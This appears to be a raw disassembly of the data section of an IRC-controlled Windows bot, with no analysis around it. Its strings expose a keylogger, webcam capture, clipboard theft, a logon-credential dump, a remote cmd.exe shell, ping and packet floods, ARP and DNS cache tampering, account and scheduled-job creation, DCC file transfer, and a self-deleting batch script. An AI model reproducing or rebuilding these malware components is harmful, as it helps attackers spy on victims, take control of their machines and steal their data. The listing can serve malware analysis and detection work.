db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
db 'er: (%S/(N/A)).',0
align 4
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981A+C50o
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981A+C48o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40981A:loc_40A455o
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40981A+BE6o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40981A+BD9o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40981A+BCCo
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40981A+BBFo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40981A+BB2o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40981A+BAAo
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40981A:loc_40A3B7o
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40981A+B68o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40981A+B60o
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40981A:loc_40A36Do
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981A+B0Eo
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981A+B01o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981A+AF4o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981A+AECo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40981A:loc_40A2F9o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981A+AAAo
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40981A+AA2o
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40981A:loc_40A2AFo
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981A+A60o
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981A+A58o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40981A:loc_40A265o
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981A+9CEo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40981A+9C1o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40981A+9B4o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40981A+9A7o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40981A+99Ao
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40981A+98Do
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40981A+980o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981A+973o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40981A+966o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40981A+959o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40981A+951o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40981A:loc_40A15Ao
align 10h
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40981A+903o
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40981A+8F6o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40981A+8EEo
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40981A:loc_40A0FBo
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981A+8B4o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40981A+842o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40981A+835o
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981A+828o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981A+81Bo
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40981A+80Eo
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40981A+801o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40981A+7F4o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981A+7E7o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981A+7DAo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981A+7D2o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40981A:loc_409FDBo
aClosesocket db 'closesocket',0 ; DATA XREF: sub_40981A+688o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_40981A+67Bo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40981A+66Eo
align 10h
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40981A+661o
align 10h
aGethostname db 'gethostname',0 ; DATA XREF: sub_40981A+654o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_40981A+647o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40981A+63Ao
align 4
aAccept db 'accept',0 ; DATA XREF: sub_40981A+62Do
align 4
aListen db 'listen',0 ; DATA XREF: sub_40981A+620o
align 4
aSelect db 'select',0 ; DATA XREF: sub_40981A+613o
align 4
aBind db 'bind',0 ; DATA XREF: sub_40981A+60Bo
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40981A+5F9o
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_40981A+5ECo
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_40981A+5DFo
align 10h
; char aSend[]
aSend db 'send',0 ; DATA XREF: sub_40981A+5D2o
; sub_40EE51+223Ao
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_40981A+5C5o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_40981A+5B8o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_40981A+5ABo
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_40981A+59Eo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40981A+591o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40981A+584o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_40981A+577o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40981A+56Ao
aSocket db 'socket',0 ; DATA XREF: sub_40981A+55Do
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40981A+550o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40981A+543o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40981A+536o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40981A+529o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40981A+51Co
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40981A+50Fo
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40981A+507o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40981A+4F6o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40981A+483o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40981A+476o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_40981A+469o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40981A+45Co
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40981A+44Fo
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40981A+442o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981A+435o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40981A+428o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40981A+420o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40981A:loc_409C29o
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40981A:loc_409C01o
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981A+38Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981A+382o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40981A+375o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40981A+368o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_40981A+35Bo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40981A+34Eo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40981A+341o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40981A:loc_409B53o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981A+309o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981A+2FCo
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40981A:loc_409B0Eo
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40981A+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40981A+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40981A+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40981A+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40981A+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40981A+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40981A:loc_409A79o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40981A+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40981A+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40981A+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981A:loc_409A12o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40981A+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40981A+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40981A+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40981A+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40981A+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_40981A+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40981A+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40981A+14Ao
align 4
aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_40981A:loc_40994Fo
; ___crtMessageBoxA+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981A:loc_409922o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981A+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981A+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40981A+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40981A+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981A+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981A+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_40981A+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40981A+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40981A+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981A+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40981A+23o
align 4
aKernel32_dll_1 db 'kernel32.dll',0 ; DATA XREF: sub_40981A+Ao
align 4
; char unk_42C764
unk_42C764 db 2 ; DATA XREF: sub_40A4A7+2F2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Fh, 72h
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDllTestComplet db ' DLL test complete.',0
align 4
; char aAvicap32_dllFa[]
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+2CCo
align 10h
; char aOdbc32_dllFail[]
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+298o
; char aShell32_dllFai[]
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+264o
align 4
; char aMpr32_dllFaile[]
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+230o
align 4
; char aIphlpapi_dllFa[]
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+1FCo
align 4
; char aDnsapi_dllFail[]
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+1C8o
; char aNetapi32_dllFa[]
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+194o
align 4
; char aIcmp_dllFailed[]
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+160o
align 4
; char aWininet_dllFai[]
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+12Co
align 10h
; char aWs2_32_dllFail[]
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+F8o
; char aGdi32_dllFaile[]
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+C4o
align 10h
; char aAdvapi32_dllFa[]
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+90o
align 4
; char aUser32_dllFail[]
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+5Co
; char aKernel32_dllFa[]
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4A7+28o
align 10h
; char aSErrorSD_[]
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA30+72o
align 4
aMirc db 'mIRC',0 ; DATA XREF: sub_40AAF5+5o
; sub_415C4D+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AB77+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC1B+2o
; char aComspecCSS[]
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC3D+140o
align 4
; char a[]
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AC3D+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
; char aSdel_bat[]
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AC3D+48o
align 4
unk_42C9A8 db 2 ; DATA XREF: sub_40ADFD:loc_40AEBCo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aNotSupportedBy db ' Not supported by this system.',0
align 4
; char unk_42C9E8
unk_42C9E8 db 2 ; DATA XREF: sub_40ADFD:loc_40AE8Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 4
unk_42CA28 db 2 ; DATA XREF: sub_40ADFD:loc_40AE56o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 4
; char unk_42CA5C
unk_42CA5C db 2 ; DATA XREF: sub_40ADFD+49o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
align 4
; char unk_42CA9C
unk_42CA9C db 2 ; DATA XREF: sub_40AF81+13Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 4
; char unk_42CAD8
unk_42CAD8 db 2 ; DATA XREF: sub_40AF81+6Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 10h
; char dword_42CB10
dword_42CB10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B10D+1C6o
dd 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 4
; char dword_42CB4C
dword_42CB4C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B10D+8Eo
dd 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 4
; char aPrivmsgSS[]
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B38B+33o
dword_42CB94 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B412:loc_40B544o
dd 2BBBB02h
aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0
align 4
dword_42CBD4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B412+10Fo
dd 2BBBB02h
aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0
align 4
dword_42CC0C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B412:loc_40B4F8o
dd 2BBBB02h
aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0
align 4
; char dword_42CC4C
dword_42CC4C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B567+194o
dd 2BBBB02h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 10h
; char dword_42CC90[]
dword_42CC90 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B567+14Co
dd 2BBBB02h
aRemoteCommandP db ' Remote Command Prompt',0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B567+21o
; char aDdDhDm[]
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B71C+52o
; char aSysinfoCpuI64u[]
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40B8D3+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B8D3+192o
; char aCouldnTResolve[]
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D3:loc_40BA37o
align 10h
word_42CDD0 dw 3Fh ; DATA XREF: sub_40B8D3:loc_40B9D5r
; sub_40D099+1Fo
align 4
; char aSS_4[]
aSS_4 db '%s (%s)',0 ; DATA XREF: sub_40B8D3+EBo
a??? db '???',0 ; DATA XREF: sub_40B8D3:loc_40B996o
; UPX0:loc_415BFEo
a2003 db '2003',0 ; DATA XREF: sub_40B8D3+BAo
; UPX0:0042E8C8o
align 4
aXp db 'XP',0 ; DATA XREF: sub_40B8D3+AAo
; UPX0:00415BE9o
align 4
a2k db '2K',0 ; DATA XREF: sub_40B8D3+98o
; UPX0:00415BD9o
align 10h
aMe db 'ME',0 ; DATA XREF: sub_40B8D3+7Eo
; UPX0:00415BC0o
align 4
a98 db '98',0 ; DATA XREF: sub_40B8D3+6Co
; UPX0:00415BB0o
align 4
aNt db 'NT',0 ; DATA XREF: sub_40B8D3+5Ao
; UPX0:00415BA0o
align 4
a95 db '95',0 ; DATA XREF: sub_40B8D3+46o
; UPX0:00415B92o
align 10h
; char aNetinfoTypeSS_[]
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40BB87+ABo
align 10h
; char off_42CE40[]
off_42CE40 dd offset loc_412F4B+3 ; DATA XREF: sub_40BB87:loc_40BBFBo
off_42CE44 dd offset dword_4E414C ; DATA XREF: sub_40BB87:loc_40BBF4o
; char aDialUp[]
aDialUp db 'Dial-up',0 ; DATA XREF: sub_40BB87+5Bo
; char aNotConnected[]
aNotConnected db 'Not connected',0 ; DATA XREF: sub_40BB87+48o
align 10h
; char unk_42CE60
unk_42CE60 db 2 ; DATA XREF: sub_40BC4D:loc_40BE06o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToConnec db 'Failed to connect to HTTP server.',0
align 10h
unk_42CEA0 db 2 ; DATA XREF: sub_40BC4D:loc_40BDFFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldNotOpenAC db 'Could not open a connection.',0
align 4
; char dword_42CEDC
dword_42CEDC dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
; DATA XREF: sub_40BC4D+1A0o
dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h
dd 0
unk_42CF08 db 2 ; DATA XREF: sub_40BC4D:loc_40BDE0o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0
align 4
dword_42CF54 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
; DATA XREF: sub_40BC4D+18Co
dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h
dd 0
dword_42CF80 dd 2A2F2Ah ; DATA XREF: sub_40BC4D+3Bo
; char aD_SS[]
aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_40BEF7+35o
aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_40BEF7+10o
align 10h
; char a_2d_2d4d_2d_2d[]
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6F+60o
align 4
dword_42CFC4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
; DATA XREF: sub_40C00F+1Ao
dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0
; char dword_42CFEC
dword_42CFEC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C081+DCo
dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h
dd 0
dword_42D018 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C081+3Fo
dd 2BBBB02h, 65422020h, 6E6967h
dword_42D038 dd 80000002h, 42E6BCh, 80000002h, 42E6ECh, 80000001h, 42E724h
; DATA XREF: sub_40C1B0+7o
; char dword_42D050
dword_42D050 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C1B0+63o
; sub_40C353+170o
dd 2BBBB02h
aFailedToSendTo db ' Failed to send to Remote command shell.',0
align 4
; char dword_42D094
dword_42D094 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C353+ABo
dd 2BBBB02h
aFailedToOpenRe db ' Failed to open remote command shell.',0
align 4
; char dword_42D0D4
dword_42D0D4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C353+47o
; sub_40C514+FDo
dd 2BBBB02h
aFailedToOpenSo db ' Failed to open socket.',0
align 4
; char dword_42D108
dword_42D108 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C514+362o
; sub_40C8B6+156o
dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh
; char dword_42D130
dword_42D130 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C514+2FAo
dd 2BBBB02h
aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0
; char dword_42D180
dword_42D180 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C514+202o
dd 2BBBB02h
aUnableToOpenSo db ' Unable to open socket.',0
align 4
dword_42D1B4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C514+1CBo
dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h
; char dword_42D1DC
dword_42D1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40C514+16Ao
dd 169h
dword_42D1F4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C514+127o
dd 2BBBB02h
aFileDoesnTExis db ' File doesn',27h,'t exist.',0
align 4
dword_42D224 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C514+82o
dd 2BBBB02h
aFailedToBindTo db ' Failed to bind to socket.',0
dword_42D258 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C514+44o
dd 2BBBB02h
aFailedToCreate db ' Failed to create socket.',0
align 4
; char dword_42D28C
dword_42D28C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8B6+1CFo
dd 2BBBB02h
aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0
align 10h
; char dword_42D2E0
dword_42D2E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8B6+CBo
dd 2BBBB02h
aErrorOpeningSo db ' Error opening socket.',0
dword_42D310 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8B6+ABo
dd 2BBBB02h
aErrorOpeningFi db ' Error opening file for writing.',0
align 4
; char aAB[]
